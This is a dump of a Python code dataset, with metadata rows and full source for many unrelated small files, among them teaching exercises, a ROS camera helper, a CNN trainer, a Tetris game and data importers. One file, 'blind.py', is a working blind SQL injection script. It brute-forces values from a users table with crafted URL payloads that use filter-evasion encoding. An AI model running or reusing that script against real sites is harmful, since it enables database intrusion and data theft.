blob_id stringlengths 40 40 | language stringclasses 1
value | repo_name stringlengths 5 133 | path stringlengths 2 333 | src_encoding stringclasses 30
values | length_bytes int64 18 5.47M | score float64 2.52 5.81 | int_score int64 3 5 | detected_licenses listlengths 0 67 | license_type stringclasses 2
values | text stringlengths 12 5.47M | download_success bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|
703968c7f14d6f569ea307aecd451a2fe54c417e | Python | happyjkh/python_lesson | /lect02_汇率兑换/代码/函数.py | UTF-8 | 124 | 2.890625 | 3 | [] | no_license | '''
请问这段代码显示结果为多少
'''
x=3
def demo():
x = 4
return x
print(x)
x=demo()
print(x)
| true |
a1d804f853f1ae64204b88a21089bc11ad92a185 | Python | wew84/cnn_hmi | /bin/tools/misc.py | UTF-8 | 1,207 | 2.84375 | 3 | [
"BSD-3-Clause"
] | permissive | #!/usr/bin/python
import rospy
import roslib
import cv2
def exit_handler(camera, video_out, statistics_engine):
"""Hadle when the program exits. calculate the statistics and close any open cv2 device
Inputs:
camera (Camera) the Camera being used
video_out (VideoSaver) the VideoSaver being used
... | true |
00f4dc9fab5064aedd28b8f37387b35d2dd72bb5 | Python | jfasch/2021-11-17 | /getuser.py | UTF-8 | 852 | 2.78125 | 3 | [] | no_license | import sys
import pprint
filename = sys.argv[1]
username = sys.argv[2]
userdatabase = {}
f = open(filename)
for line in f:
line = line.rstrip() # remove linefeed at end of line
fields = line.split(':')
username = fields[0]
password = fields[1]
userid = int(fields[2])
groupid = int(fields[... | true |
f7ce193c587748b036cd7611fb76c097c0b2c416 | Python | cctbx/cctbx_project | /scitbx/math/tests/tst_uniform_rotation_matrix.py | UTF-8 | 2,765 | 3.109375 | 3 | [
"BSD-3-Clause-LBNL"
] | permissive | from __future__ import absolute_import, division, print_function
import math, random
from scitbx import matrix
from scitbx.array_family import flex
from six.moves import range
# -----------------------------------------------------------------------------
# simplified form of surface integral for spherical harmonic (l... | true |
f05b5289844ea4ffd6c29bbfe5f3f992b1b1e02d | Python | WanruJia/Edge-Detector-based-on-Hessian-Matrix | /Edge_detection_final.py | UTF-8 | 5,876 | 2.609375 | 3 | [] | no_license | import cv2
import xlwt
import numpy as np
import pandas as pd
import math
#Saving Brightness
image = cv2.imread("C:/DalMasterCourses/Medical Image Analysis/Xray Grades/program for X-ray images/APJointCentre/1-1R AP.jpg",1)
image = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)
#image = cv2.resize(image,(2048,2048))
... | true |
8c193cc9923b4e09cb1bcfed182218caf40b5736 | Python | 13957166977/Scripts | /Scripts/Web/blind.py | UTF-8 | 1,829 | 2.75 | 3 | [] | no_license | #!/usr/bin/python
### blind.py ###
import urllib
import sys
import os
def put_data(true_url, true_result, field, index, length):
for i in range(1, length+1):
for j in range(32, 127):
attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d)... | true |
d9330db23cfbd50bbec572c9a8264efc67447c3c | Python | emersonmellado/oop_introduction | /basics/program_1.py | UTF-8 | 412 | 3.5625 | 4 | [] | no_license | from basics.person_3 import Person
class Program:
def __init__(self, name, duration):
self.name = name
self.duration = duration
def details(self):
print("Course name:", self.name, "Duration:",self.duration)
n = input("Enter the program name")
d = input("Enter the program duration")
cou... | true |
b349b7f0c462c1e0a30d423b2aa0446d7eb0e8a0 | Python | Eduardolimacesl/IT-200_DesafioComputacional | /00_pesquisa/csv/csv2kml.py | UTF-8 | 6,963 | 2.8125 | 3 | [] | no_license | import csv
import xml.dom.minidom
import sys
def GPSCoord(row):
# combine lat-longs from their columns, returned as a string.
return '%s,%s' % (row['longitude'],row['latitude'])
def createPlacemark(kmlDoc, row, order):
# This creates a element for a row of data.
# A row is a dict.
# Added option for place... | true |
f23b929834d434592af3c4e94f35e726032aea94 | Python | xfzlun/pythonbasicexcercise | /numberexercise.py | UTF-8 | 499 | 3.484375 | 3 | [] | no_license | # _*_ coding: utf-8 _*_
'''
#@Time :2018-12-01;21:15
@author: aLuren
#@FileName: numberexercise.py
#@Software: PyCharm
Copyright(C)2018 SZ-MB-QTC
题目:某一直角三角形,直角边为7和12,求这一直角三角形的斜边,以及以这条斜边为直径的圆面积
'''
from math import *
a = 7
b = 12
d = sqrt(pow(a, 2)+pow(b, 2))
print(d) #d=直角三角形的斜边
c = pi * pow((d/2), 2)
print(c) #c... | true |
c79aa21359f999602dfd7009c31b272971e997fb | Python | samlet/stack | /sagas/tests/inspectors/test_senses.py | UTF-8 | 1,279 | 2.5625 | 3 | [
"Apache-2.0"
] | permissive | """
$ pytest -s -v test_senses.py
"""
from sagas.zh.hownet_helper import build_trees, get_word_sense, get_trees
import logging
import pytest
@pytest.mark.parametrize(
"word, cat, roles",
[
('大学生', 'human|人', dict(agent='study|学习')),
('小学生', 'human|人', dict(agent='study|学习')),
('校长', 'hu... | true |
8c1e968bdd3a0a53393fe2b9df2d6a2d271c97ff | Python | Sergiobrun/cursoAuto | /test.py | UTF-8 | 602 | 2.6875 | 3 | [] | no_license |
from selenium import webdriver
import unittest
import time
tc = unittest.TestCase('__init__')
driver = webdriver.Chrome('chromedriver.exe')
driver.get('https://www.youtube.com/')
driver.find_element_by_id('search').send_keys('gol del pity autotune')
driver.find_element_by_id('search-icon-legacy').click()
time.slee... | true |
a18e4a16774aa1cca724fffb37c7ab5251e45124 | Python | FatwaDwiHidayat/prak_algostruk | /L200180176_Modul6_G/8.py | UTF-8 | 1,557 | 3.3125 | 3 | [] | no_license | class Node():
def __init__(self, data, isi=None):
self.data = data
self.isi = isi
def cetak(head):
curr = head
while curr is not None:
try:
print (curr.data)
curr = curr.isi
except:
pass
a = Node(10)
b = Node(30)
c = Node(... | true |
8bbdd77f3838eacc274b9d1841c552e2ff9484d5 | Python | soxofaan/dumbo | /dumbo/lib/rawreducer.py | UTF-8 | 2,426 | 2.859375 | 3 | [] | no_license | """A reducer base class to output one or multiple files in its raw fileformat"""
from itertools import groupby
from dumbo.util import Options
class RawReducer(object):
"""Reducer to generate outputs in raw file format"""
multipleoutput = False
singleopts = Options([
('outputformat', 'raw'),
])... | true |
79b40a38e8250a6a10134d467d3ddbbb34e705ee | Python | TianyaoHua/LeetCodeSolutions | /Merge Intervals/Merge Intervals.py | UTF-8 | 1,267 | 3.4375 | 3 | [] | no_license | # Definition for an interval.
class Interval(object):
def __init__(self, s=0, e=0):
self.start = s
self.end = e
class Solution(object):
def merge(self, intervals):
"""
:type intervals: List[Interval]
:rtype: List[Interval]
"""
n = len(intervals)
i... | true |
b80613dfd9300b8f017c5216812e771b4232494e | Python | barthelemymp/FLIP | /baselines/cnn.py | UTF-8 | 10,747 | 2.75 | 3 | [
"AFL-3.0"
] | permissive | from typing import List, Any
from datetime import datetime
import argparse
from scipy.stats import spearmanr
import pandas as pd
import torch
import numpy as np
import torch.nn as nn
import torch.nn.functional as F
from torch.utils.data import DataLoader, Dataset
import torch.optim as optim
torch.manual_seed(0)
AAI... | true |
b2cece558ed3391220af52e1e13b2329bca82ab3 | Python | Zahidsqldba07/Python_Practice_Programs | /college/s8p2.py | UTF-8 | 358 | 4.25 | 4 | [] | no_license | # Define a class name circle which can be constructed using a parameter radius.
# The class has a method which can compute the area using area method.
class Circle:
radius = 0
def __init__(self, radius):
self.radius = radius
def displayArea(self):
print("Area:", (3.14 * (self.radius ** 2... | true |
3bf7da886e2dc54ce97d403d283637b16f6c1d68 | Python | aboutmydreams/Some-code-ago | /pypy/伪注册.py | UTF-8 | 537 | 2.78125 | 3 | [] | no_license | import os
i=0
while 1:
if os.path.isfile('lock.log'):
print('it has been locked')
username=input('username=')
password=input('password=')
i1=3-i
pass
if username=='milo' and password=='123':
pass
print('welcome')
else:
if i<3:
print('The username or password is wrong and you have only' ,i1,' opinions'... | true |
530ce437051b6016f23a6411841ea6eb874fddf1 | Python | MikayilIlyas/kripteks | /enc.py | UTF-8 | 21,209 | 2.6875 | 3 | [] | no_license | import hashlib
from datetime import datetime
def md5(s=None,f=None):
if (s != None):
now = datetime.now()
time = datetime.strftime(now,"%X")
time1 = datetime.strftime(now,"%X""_""%d""_""%m""_""%y").replace(":","_")
time2 = time1.replace("_",":")
hashed = hashlib.md5(s.enc... | true |
145d57dcfda93e762bd0867f82403ee4cc5412d2 | Python | miimoza/command_line_paradise | /genius_lyrics/genius.py | UTF-8 | 3,756 | 3.09375 | 3 | [] | no_license | #!/bin/python3
import lyricsgenius
import os, sys
TOKEN = "Za6ND6xccvNyt7DeRVWnFWcyevSfSbKG2IYoyz0_BmQNdQf1K-1yNktaZtKXFq0D"
genius = lyricsgenius.Genius(TOKEN, verbose=False)
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\03... | true |
7ac63011919551548a3a7458c741d171f1c0405b | Python | CosmicTomato/ProjectEuler | /eul62_try2.py | UTF-8 | 1,237 | 3.734375 | 4 | [] | no_license | #The cube, 41063625 (345^3), can be permuted to produce two other cubes: 56623104 (384^3) and 66430125 (405^3). In fact, 41063625 is the smallest cube which has exactly three permutations of its digits which are also cube.
#Find the smallest cube for which exactly five permutations of its digits are cube.
def main(... | true |
b0a1b909176222ffa63b213a6f123217bbee0436 | Python | syforcee/GUPB | /gupb/controller/botelka_ml/controller.py | UTF-8 | 5,237 | 2.53125 | 3 | [
"MIT"
] | permissive | from pathfinding.core.grid import Grid
from gupb.controller.botelka_ml.actions import (
go_to_menhir, kill_them_all, find_better_weapon, flee,
update_grid_on_incoming_mist, update_grid_tiles_costs, grid_with_players_mask,
)
from gupb.controller.botelka_ml.state import State, get_state
from gupb.controller.bote... | true |
3029feff535c08c075e1ce0386a024e378b2dea9 | Python | Santt99/up-carpool | /DB.py | UTF-8 | 589 | 2.6875 | 3 | [] | no_license | from pymongo import MongoClient
class DB(object):
def __init__(self, url):
self.__connection = MongoClient(url, retrywrites=False)
self.__db = self.__connection["heroku_4g6p2nzn"]
def register_visit(self):
visits_collection = self.__db["visits"]
from datetime import datetime
... | true |
18d620f3afbe769e668f81c4bc3b1ad1ef86365b | Python | Horsefactor/extensionC3A | /package/App.py | UTF-8 | 5,333 | 2.734375 | 3 | [] | no_license | __date__= '<15/05/2019>'
__author__ = 'Thibault Delvaux, \
<thibaultdelvaux@outlook.fr>, \
<0484381244>'
from tkinter import*
from tkinter import filedialog
from package.function import write
from package.Help import Help
from package.Descr import Descr
from package.MenuWindow im... | true |
2cd95731052027d7a4d478b762ed79ae620846bb | Python | kisron86/atracbot | /BACKUP-1/cadangan/stereo/scripts/hoglib.py | UTF-8 | 3,283 | 3 | 3 | [] | no_license | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import numpy as np
import cv2
import glob
import os
def non_max_suppression(boxes, overlapThresh):
# testa se há janelas detectadas, se não tiver retorna um erro e para o programa
try:
len(boxes) != 0
except:
... | true |
29825c5c32edd52ee6321b216e0310eef7e34638 | Python | dr-dos-ok/Code_Jam_Webscraper | /solutions_python/Problem_53/971.py | UTF-8 | 1,105 | 2.546875 | 3 | [] | no_license | import re
stuff = open("A-small-attempt3.in").readlines()
case = 1
k = 1
while k<len(stuff):
row = re.split(" ",stuff[k].rstrip())
row = map(int, row)
a = []
for x in range(row[0]):
a.append([0,0])
a[0][0] = 1
# do snap times
for j in range(row[1]):
... | true |
fc026d784a578afd6f5f167d9dee4c0d78ad20ed | Python | kippig/Python_Practice | /src/Cracking_the_coding_interview/Chapter_8_Dynamic_and_Recursion/8.4.py | UTF-8 | 441 | 3.140625 | 3 | [] | no_license | from functools import reduce
def power_set(s: set):
set_sizes = [None]*(len(s) + 1)
set_sizes[0] = set({frozenset()})
for size in range(1, len(s) + 1):
set_sizes[size] = set()
for element in s:
for size_down in set_sizes[size - 1]:
set_sizes[size].add(size_down.... | true |
cdad90863f6bd8d4c47189c6168a05a90a4771c6 | Python | Levang/dat250-prosjekt | /safecoin/venv/lib/python3.8/site-packages/test/integration/test_client.py | UTF-8 | 2,534 | 2.953125 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Integration tests for Flask-Redis."""
import flask
import pytest
from flask_redis import client as uut
@pytest.fixture
def app():
return flask.Flask(__name__)
def test_constructor(app):
"""Test that a constructor with app instance will initialize the
co... | true |
67249c1f0d5efda9b670dfa51939650ae7bc1698 | Python | HeoTaksung/Tensorflow_hunkim | /08_Sigmoid.py | UTF-8 | 1,277 | 2.859375 | 3 | [] | no_license | import numpy as np
import tensorflow as tf
x_data = np.array([[0,0], [0,1], [1,0], [1,1]], dtype = np.float32)
y_data = np.array([[0],[1],[1],[0]], dtype = np.float32)
X = tf.placeholder(tf.float32)
Y = tf.placeholder(tf.float32)
W1 = tf.Variable(tf.random_normal([2,2]), name='weight1')
b1 = tf.Variable(tf... | true |
2747219d00e24d81a3e692ba3a184831b1d14e4b | Python | ychen306/upgraded-succotash | /expr_sampler.py | UTF-8 | 4,440 | 2.6875 | 3 | [] | no_license | '''
Sample a random expresison dag, input, and dump the I/O examples together with used instructions
'''
from collections import namedtuple, defaultdict
from semas import semas
from specs import specs
import random
import z3
from z3_utils import askey, eval_z3_expr
from z3_exprs import *
import json
from sig import get... | true |
3830d8c2004a96f48259dba5fbbc925ba7cf97a2 | Python | garuda-naru/garuda-naru | /Selection Sort.py | UTF-8 | 571 | 3.78125 | 4 | [] | no_license | num = int(input("Enter Length of List : "))
L = [int(input("Enter Value : ")) for x in range(num)]
#Ascending Order Sorting
print("Original list ",L)
for i in range(num):
m_v = L[i]
for j in range(i+1,num):
if L[j] < m_v:
m_v = L[j]
m_i = L.index(m_v)
L[i],L[m_i] = L[m_i],L[i]
print(... | true |
ccbdd4aa9176d40091a5585eb6bbe38fb02f006d | Python | xuzhihua95/quant | /fund/fund_holder.py | UTF-8 | 12,609 | 2.578125 | 3 | [] | no_license | from quant.data.data import Data
from quant.stock.date import Date
from quant.source.fin_db import FinDb
from quant.fund.fund_pool import FundPool
from quant.fund.fund_static import FundStatic
import os
import pandas as pd
from datetime import datetime
class FundHolder(Data):
"""
1、下载基金持仓
load_fund_hold... | true |
1530006a4141f8d589fffb6e084800509db63a23 | Python | shrihari-tech/Python-Projects | /Card Problem.py | UTF-8 | 562 | 3.609375 | 4 | [] | no_license | #CARD PROBLEM
list_size=int(input("Enter the List Size:"))
position=0
alist=[]
while(position<list_size):
avalue=int(input("Enter a Value:"))
alist.append(avalue)
position+=1
#Inserting the User Wanted Card
print(alist)
alist.append(0)
avalue=int(input("Enter a Card Number to be Inserted:"))
pos... | true |
3afc43b20afbaa63ce450c7d4172f4b332adc816 | Python | LeoniCristian/Python | /Parenthesis_parsing.py | UTF-8 | 1,292 | 3.453125 | 3 | [
"MIT"
] | permissive | from collections import deque
import random
class Parser():
open = ['(','[','{']
close = {
')':'(',
']':'[',
'}':'{'
}
#Checks if a given string formed of '[]()' has proper formatting
def parse(parenthesis):
stack = deque()#append and pop
for i in pa... | true |
bd111ce00d64775578fd596c4d9c8c3dfb97e954 | Python | wgoakley/typed_python | /typed_python/Codebase.py | UTF-8 | 10,328 | 2.53125 | 3 | [
"Apache-2.0"
] | permissive | # Coyright 2017-2019 Nativepython Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... | true |
b0f615a83accce89a2aee13c860d56f5c6386e37 | Python | jessehorne/vending-machine-service | /vending_machine_service/methods/coin.py | UTF-8 | 563 | 2.609375 | 3 | [] | no_license | import json
from util import get_session, response
from models.coin import Coin
coins = ["nickel", "dime", "quarter"]
def get_coin_amount(session):
current_coins = session.query(Coin).all()
current_count = 0.0
for c in current_coins:
current_count += c.worth
return current_count
def in... | true |
3332b5879de923457c4cf8ad8709ab520bb38fed | Python | brendamelano/PSPG-CDD | /Workshop_Day2/utils.py | UTF-8 | 3,761 | 2.5625 | 3 | [] | no_license | #!~/virtualEnvs/anaconda3/envs/imageproc35/bin/python
"""
Author: Garrett Gaskins
Date Initialized: 2017-01-24
Last Edited: 2019-02-21
Email: gaskins@keiserlab.org
Summary: Utility functions for running portions of predict.py and compare_to_ligands.py
"""
#############################################################... | true |
7d7be086c038a6f9a160e43d88f8cf9d7408a523 | Python | zhlu9890/relation_engine_importers | /src/gtdb/main.py | UTF-8 | 4,758 | 2.59375 | 3 | [
"MIT"
] | permissive | import json
import sys
_TAXA_TYPES = {
'd': 'domain',
'p': 'phylum',
'c': 'class',
'o': 'order',
'f': 'family',
'g': 'genus',
's': 'species',
}
# Graph schema looks like:
# - vertex gtdb_taxon
# - type (eg. "Domain"), name (eg. "Bacteria")
# - vertex gtdb_organism
# - _key (accession,... | true |
0f73093e8336023cf261e0813c31dfcc01d9eff9 | Python | twseptian/workbench | /workbench/clients/pcap_report.py | UTF-8 | 2,479 | 2.8125 | 3 | [
"MIT"
] | permissive | """This client pulls PCAP 'views' (view summarize what's in a sample)."""
import zerorpc
import os
import pprint
import client_helper
import flask
STATIC_DIR = os.path.join(os.path.dirname(
os.path.abspath(__file__)), 'static/')
APP = flask.Flask(__name__, template_folder=STATIC_DIR,
static_fol... | true |
80c8b8b53f4e732d1b175d841a48fd463ab48d5d | Python | vishalshar/SpeakerDiarization_RNN_CNN_LSTM | /MLP_2channel_4classes.py | UTF-8 | 4,452 | 2.65625 | 3 | [] | no_license | import Audio_data
import Labels
import numpy as np
import tensorflow as tf
import os
import random
#dir of data and labels
dir_data="./data/Datas/"
dir_label="./data/Labels/"
dir_test_data="./data/Test_datas/"
dir_test_label="./data/Test_labels/"
chunk_time=0.1
down_sample=True
down_sample_rate=4
... | true |
bacdc075e125d1448b88ad6b6e18100c7a477449 | Python | lara-garbero-tais/system_stats | /utils/email.py | UTF-8 | 1,369 | 3.03125 | 3 | [] | no_license | import smtplib
def smtp_init(credentials):
"""Initializes a connection to the SMTP server"""
try:
mailserver = smtplib.SMTP(credentials['server'], credentials['port'])
except Exception as e:
raise Exception('SMTP server error: Wrong hostname or port.')
mailserver.starttls()
mails... | true |
a6d5b01d968024bce1f065b6803826adcaaab78e | Python | WamdamProject/WaMDaM_Wizard | /src/controller/WEAP/ExtractWEAP_ToWaMDaM/SaveToExcel.py | UTF-8 | 25,066 | 2.5625 | 3 | [
"LicenseRef-scancode-free-unknown",
"BSD-3-Clause"
] | permissive | import xlsxwriter
import csv
import os
import xlsxwriter
from collections import OrderedDict
import datetime
# this functon saves all the data into a single excel workbook of multiple sheets
from pyproj import Proj, transform
# Excel file name =WEAP_Output
# "C:/Users/Adel/Documents/Results/
# ProvidedDir=self.
# excel... | true |
0d314a3fe37c5968adf5745f1b7f7db4c926bee4 | Python | DeenOConnor/awtg | /awtg/filtering/stdfilters/std.py | UTF-8 | 7,029 | 2.6875 | 3 | [
"MIT"
] | permissive | from re import compile, escape
FILL_NONE_VALUES = '[параметр]'
DEFAULT_ERROR_GENERATION_PREFIX = 'Произошла ошибка,' \
' возможно вы имели ввиду: '
class RegularExpression:
def __init__(self, expr, match_type="match",
flags=0):
self.regex = compile(expr... | true |
bb8f4f46f4416f4d8dfa0773bb1947d9758d48ba | Python | timrprobocom/advent-of-code | /2020/day22.py | UTF-8 | 1,899 | 3.15625 | 3 | [] | no_license | import os
import re
import sys
import functools
import itertools
import operator
from pprint import pprint
test = """\
Player 1:
9
2
6
3
1
Player 2:
5
8
4
7
10""".split('\n\n')
DEBUG = 'debug' in sys.argv
dprint = print if DEBUG else lambda *x: 0
if 'test' in sys.argv:
data = test
else:
data = open('day22.... | true |
e721cc490042c4aa638a2c0603273c89f733d5c6 | Python | darshangit/crypto-python | /practice/practice-1.py | UTF-8 | 243 | 4.1875 | 4 | [] | no_license | def print_as_a_string(age=22, name='Dash'):
print(name + ' ' + str(age))
print_as_a_string()
def number_of_decades_lived(age=32):
print('Number of Decades Lived', age / 10)
number_of_decades_lived(int(input('Enter Your Age: ')))
| true |
236df0881b9871960772908f0f07167668000b3b | Python | Touchfl0w/python_practices | /advanced_grammer/practice11-20/practice16/p2.py | UTF-8 | 1,226 | 3.1875 | 3 | [] | no_license | from xml.etree.ElementTree import parse
with open('demo.xml','r') as rf:
et = parse(rf)
root = et.getroot()
print(root.findall('rank'))
#.代表当前元素,即root节点;//代表当前节点下所有子节点(包括非直接节点)
print(root.findall('.//rank'))
#..表示当前元素的父元素;/类似于Linux
print(root.findall('.//rank/..'))
#*代表所有直接子元素
print(root.findall('*/gdp'))
#带属性的元素
pri... | true |
5220d2c0aa7a239ba55dab74728ebad350385cd0 | Python | joshuaavalos74/radio_v | /Radio.py | UTF-8 | 968 | 2.828125 | 3 | [] | no_license | class Radio():
def __init__(self, marca):
self.marca=marca
self.encendido=False
self.emisoraFM=87
self.emisoraAM=300
self.volumen=0
self.en_FM=True
def encender(self):
self.encendido=True
def apagar(self):
self.encendido=False
def subir_volumen(self):
if self.volumen>=100:
self.volumen=100
... | true |
c6231557a0ec3fefd498b87c0f1517051dd35f46 | Python | BertJorissen/pybinding | /pybinding/utils/time.py | UTF-8 | 2,669 | 3.40625 | 3 | [
"BSD-2-Clause",
"BSD-3-Clause",
"LicenseRef-scancode-free-unknown"
] | permissive | import time
__all__ = ['tic', 'toc', 'timed', 'pretty_duration']
_tic_times = []
def tic():
"""Set a start time"""
global _tic_times
_tic_times.append(time.time())
def toc(message=""):
"""Print the elapsed time from the last :func:`.tic`
Parameters
----------
message : str
Pri... | true |
e65e9a357f5afacc98eb8b0f2d7b412a41ccd8b9 | Python | wafistos1/Python | /metho_speci.py | UTF-8 | 4,105 | 3.75 | 4 | [] | no_license | """Suite du cours de OPENCLASSROOM sur les methodes speciales
"""
"""Les methodes spaciales :
def __ini__(self) : Constructeur
def __del__(self) : Destructeur
def __repr__(self): affiche l'objet
def __str__ (self): affiche l'objet egalement
def __getattr__(self): Methode permet de definir une meth... | true |
f5d9ae558b0137312bf6b7ae125a167836aae5a7 | Python | nyergesgit/Ismerkedes-a-pythonnal | /masodikpython.py | UTF-8 | 371 | 3.40625 | 3 | [] | no_license | """
Írj programot, mely beolvas egy pozitív egész számot, és kiírja az egész számokat a
képernyőre eddig a számig, egymástól szóközzel elválasztva
eddig = 12
szoveg = "0"
for x in range(1, eddig + 1):
szoveg = szoveg + " " + str(x)
print(szoveg)
"""
"""
egymás alá
"""
eddig = 12
for x in range(-... | true |
7538d76a691fbb775495c5e9b06237ad73fba4ed | Python | BasRizk/Utils | /spk_test_valid.py | UTF-8 | 1,051 | 2.515625 | 3 | [] | no_license | # -*- coding: utf-8 -*-
import pandas as pd
def does_it_exist(bag, item, label_to_ignore):
found = bag.loc[bag[0].str.startswith(item) & bag[0].str.contains(label_to_ignore)].any()[0]
if found:
return True
return False
# LIBRISPEECH
spk_test_file = "spk_test.txt"
to_be_test = pd.read_csv(sp... | true |
74662a5b83b6b535a39b15d66d0dadaffc0fcd34 | Python | JacobAMason/DnD | /Dictionary.py | UTF-8 | 4,135 | 2.859375 | 3 | [] | no_license | WORDS_DICT = {}
def interpret(self, string, mode):
"""
Takes any input a given player has typed and acts out the action the input
has requested.
The mode is a toggle for special events such as combat or dialogue.
"""
wordlist = "".join([char for char in string if char.isalnum() or char.isspace(... | true |
df50c324ebfdd3c5e393c8dab7109d29459252e2 | Python | jimpalowski/python | /even_odd.py | UTF-8 | 147 | 3.09375 | 3 | [] | no_license | def fizz_buzz():
for n in range(1,11):
if n % 2 == 0:
print("fizz")
else:
print("buzz")
fizz_buzz()
| true |
45560100cf57530e538421531ad7a120a6e9d3c9 | Python | airzs/Training_DNN_with_Noisy_Labels | /train.py | UTF-8 | 13,967 | 2.671875 | 3 | [] | no_license | # -*- coding: utf-8 -*-
# Author : zhangsen (1846182474@qq.com)
# Date : 2019-11-04
# Description :
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import matplotlib.pyplot as plt
import models
from preprocessing import get_dataloader, get_dataloader_bu1
from utils impor... | true |
0c7ec3c8171efda0445e53fdbf9f732327a9fbe8 | Python | jgadelugo/holbertonschool-machine_learning | /supervised_learning/0x13-qa_bot/2-qa.py | UTF-8 | 2,313 | 3.296875 | 3 | [] | no_license | #!/usr/bin/env python3
"""creates prompt to ask question"""
from transformers import BertTokenizer, TFAutoModelForQuestionAnswering
import tensorflow as tf
words = ['exit', 'quit', 'goodbye', 'bye']
def question_answer(question, reference):
"""finds a snippet of text within a reference document
to answer a qu... | true |
2d00682fb38aeb0c5dbf9740817b3ca1b83ea20d | Python | yxun/notebook | /python/leetcode/043_multiply_strings.py | UTF-8 | 1,245 | 3.875 | 4 | [
"Apache-2.0"
] | permissive | #%%
"""
- Multiply Strings
- https://leetcode.com/problems/multiply-strings/
- Medium
Given two non-negative integers num1 and num2 represented as strings, return the product of num1 and num2, also represented as a string.
Example 1:
Input: num1 = "2", num2 = "3"
Output: "6"
Example 2:
Input: num1 = "123", num2 = "... | true |
d6c0dae9938720d917be3367094f23fe40516aa6 | Python | hhojatansari/Human | /anatomy/mouth.py | UTF-8 | 81 | 3.0625 | 3 | [] | no_license | class Mouth:
def say(self, sentence):
print("'", sentence, "'\n\n")
| true |
edb42a340d6f64295082dc23088b5fe1f39b78a4 | Python | eVen-gits/EDH_matchmaker | /misc.py | UTF-8 | 585 | 3 | 3 | [] | no_license | class Json2Obj:
def __init__(self, data):
self.__dict__ = data
for i in self.__dict__.keys():
child = self.__dict__[i]
if isinstance(child, dict):
if len(child) > 0:
self.__dict__[i] = Json2Obj(child)
if isinstance(child, list):... | true |
cdf8b3ddd6a292f37421425f9a20f6f7182ed7c0 | Python | lee-b-23/CIS210 | /Prod/StackBuilder.py | UTF-8 | 1,871 | 4.4375 | 4 | [] | no_license | '''
Name: StackBuilder
Author: Lee Brown
Date: 9/16/2020
Purpose: The class defined here will allow for the creation of a stack object.
Sources:
- Empty List Idea: https://stackoverflow.com/questions/10712002/create-an-empty-list-in-python-with-certain-size
'''
class stack:
def __init__(self, size):
... | true |
e8b5bcbe7b76fd84be3964c31cb0b432ea3e083c | Python | Sjj1024/Py-Study-up | /重要技术点/40-从文件中找字符串.py | UTF-8 | 717 | 3.03125 | 3 | [] | no_license | import os
def find_file():
file_list = []
for root, path, file in os.walk(os.path.dirname(__file__)):
for i in file:
file_list.append(os.path.join(root, i))
return file_list
def find_str(file_list, fstr):
for i in file_list:
if i.endswith("php") or i.endswith("js"):
... | true |
ff5ab6ced5d22370c1bccecc25dc7bc9928bfc6b | Python | YashawantParab/scikit-image | /skimage/morphology/_deprecated.py | UTF-8 | 5,070 | 3.203125 | 3 | [
"BSD-3-Clause",
"MIT"
] | permissive | from .._shared.utils import deprecated
@deprecated('skimage.segmentation.watershed', removed_version='0.19')
def watershed(image, markers=None, connectivity=1, offset=None, mask=None,
compactness=0, watershed_line=False):
"""Find watershed basins in `image` flooded from given `markers`.
Paramet... | true |
d527f14b99e0aca8545dc8e88f94cf436e598986 | Python | elmajdma/bb-ml | /src/raw_dex_reader.py | UTF-8 | 2,330 | 2.96875 | 3 | [
"Apache-2.0"
] | permissive | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import pandas as pd
import os
def get_species_from_dex(input_dex):
with open(input_dex) as f:
raw_file = f.read()
species_list = raw_file.split("[SPECIES LIST]")[1].split("[END OF FILE]")[0].split("\n")[1:]
species = None
id = None
species_d... | true |
693f954486b6c3f13cc5a0b6c57002175098c3f4 | Python | AshpakMulani/PythonLearning | /Loops and Conditionals Statements/Loops_and_conditional_statements.py | UTF-8 | 2,177 | 4.125 | 4 | [] | no_license | #############################################
# if elif else
#############################################
my_name = 'Ashpak'
if my_name == 'Ashpak':
print("Hello Ashpak!!!")
elif my_name == 'mulani':
print("Hello Mr. mulani")
else:
print("Hello Stranger")
##########################################... | true |
a4c39fddbf34907c6eedc5d958aa4e3633a302f9 | Python | SoftwareImpacts/SIMPAC-2021-129 | /udacity/drive_model.py | UTF-8 | 7,472 | 2.75 | 3 | [
"Apache-2.0"
] | permissive | """
Drive a pretrained model.
Script employed in driving the Udacity simulator car in autonomous
mode by loading a pretrained model.
"""
import argparse
import base64
from datetime import datetime
import os
import shutil
import numpy as np
import socketio
import eventlet
import eventlet.wsgi
from PIL import Image
fr... | true |
32a15ae49d2a2dbc4b4ea10f45e52f32cb9bf952 | Python | crazafimahatratra/pytris | /tetris.py | UTF-8 | 5,794 | 2.71875 | 3 | [] | no_license | #!/usr/bin/env python
from Tkinter import *
from game import game
from game import persist
from tetromino import rectangle
from tetromino import point
class Application():
WIDTH = 10
HEIGHT = 22
PIECE_SIZE = 30
BG_CANVAS = '#00141A'
BG_APP = '#001F27'
FG_LABELS1 = '#2AA198'
FG_LABELS2 = '#8... | true |
ce2004bcb10e18572158e869fbc4acca81912811 | Python | yxpku/anand-python | /chapter5/pro4-.pyextension.py | UTF-8 | 250 | 3.296875 | 3 | [] | no_license | #Write a function to compute the number of python files (.py extension) in a specified directory recursively
import os
def find_py(dir):
f=os.listdir('foo')
list=[]
for i in f:
if i[-3:]=='.py':
list.append(i)
print len(list)
find_py('foo')
| true |
d3bebdf215fa6d1886c3e605d57589bc269bd4d7 | Python | dmkskn/isle | /tests/test_api/test_search_keyword.py | UTF-8 | 1,107 | 2.8125 | 3 | [
"MIT"
] | permissive | import pytest
import inspect
import os
import json
from urllib.parse import urlencode
from urllib.request import urlopen
import isle
from isle.objects import Keyword
URL = "https://api.themoviedb.org/3/search/keyword?"
QUERY = "alien"
@pytest.fixture(scope="module")
def n_results():
params = urlencode(
... | true |
